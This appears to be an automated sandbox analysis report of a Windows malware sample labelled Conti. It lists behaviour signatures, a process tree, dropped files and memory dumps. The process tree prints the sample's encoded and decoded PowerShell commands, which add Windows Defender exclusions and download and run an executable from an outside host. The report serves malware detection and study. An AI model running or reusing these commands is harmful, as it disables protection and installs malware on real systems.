Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/07/2026, 01:48

General

  • Target
    2026-07-19_195396c91f69f59ea208b9d900b01ca4_conti.exe
  • Size 94KB
  • Sample260720-b8brfaev5w
  • SHA256 a1c5e4a0ff974a5a52a340598eb6d8c90ae3a0b1dd5c4e7caad9d6d885da069c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_195396c91f69f59ea208b9d900b01ca4_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-19_195396c91f69f59ea208b9d900b01ca4_conti.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1524
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHMAeQBzAHQAZQBtADMAMgAuAGUAeABlACIAIABoAHQAdABwAHMAOgAvAC8AZwByAGEAYwBlAGYAdQBsAC0AcwBwAGUAYwB1AGwAbwBvAHMALQBmADQANQA4ADAAOQAuAG4AZQB0AGwAaQBmAHkALgBhAHAAcAAvAHMAeQBzAHQAZQBtADMAMgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB5AHMAdABlAG0AMwAyAC4AZQB4AGUAIAA7ACAAUwBUAEEAUgBUAC0AUwBMAEUARQBQACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADYAMAAwADAAIAA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBwAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAALwBzAHkAcwB0AGUAbQAzADIALgBlAHgAZQAnACAALQBWACAAcgB1AG4AQQBzAA==
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHMAeQBzAHQAZQBtADMAMgAuAGUAeABlACIAIABoAHQAdABwAHMAOgAvAC8AZwByAGEAYwBlAGYAdQBsAC0AcwBwAGUAYwB1AGwAbwBvAHMALQBmADQANQA4ADAAOQAuAG4AZQB0AGwAaQBmAHkALgBhAHAAcAAvAHMAeQBzAHQAZQBtADMAMgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB5AHMAdABlAG0AMwAyAC4AZQB4AGUAIAA7ACAAUwBUAEEAUgBUAC0AUwBMAEUARQBQACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADYAMAAwADAAIAA7ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBwAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAALwBzAHkAcwB0AGUAbQAzADIALgBlAHgAZQAnACAALQBWACAAcgB1AG4AQQBzAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\system32.exe" https://graceful-speculoos-f45809.netlify.app/system32.exe ; START $env:TEMP\system32.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/system32.exe
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2248

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 089e1778d0375ca5c223c270176bd67975dbef8c1b55d526b864b80a9621443d
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_j0p0bgji.jos.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j0p0bgji.jos.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1524-13-0x00007FF73B850000-0x00007FF73B873000-memory.dmp

        memory/2248-16-0x00000193D9AA0000-0x00000193D9AB0000-memory.dmp

        memory/2248-15-0x00000193D9AA0000-0x00000193D9AB0000-memory.dmp

        memory/3940-0-0x0000027E25920000-0x0000027E25930000-memory.dmp

        memory/3940-1-0x0000027E25920000-0x0000027E25930000-memory.dmp

        memory/3940-9-0x0000027E258B0000-0x0000027E258D2000-memory.dmp

        memory/3940-12-0x0000027E27BE0000-0x0000027E27D2E000-memory.dmp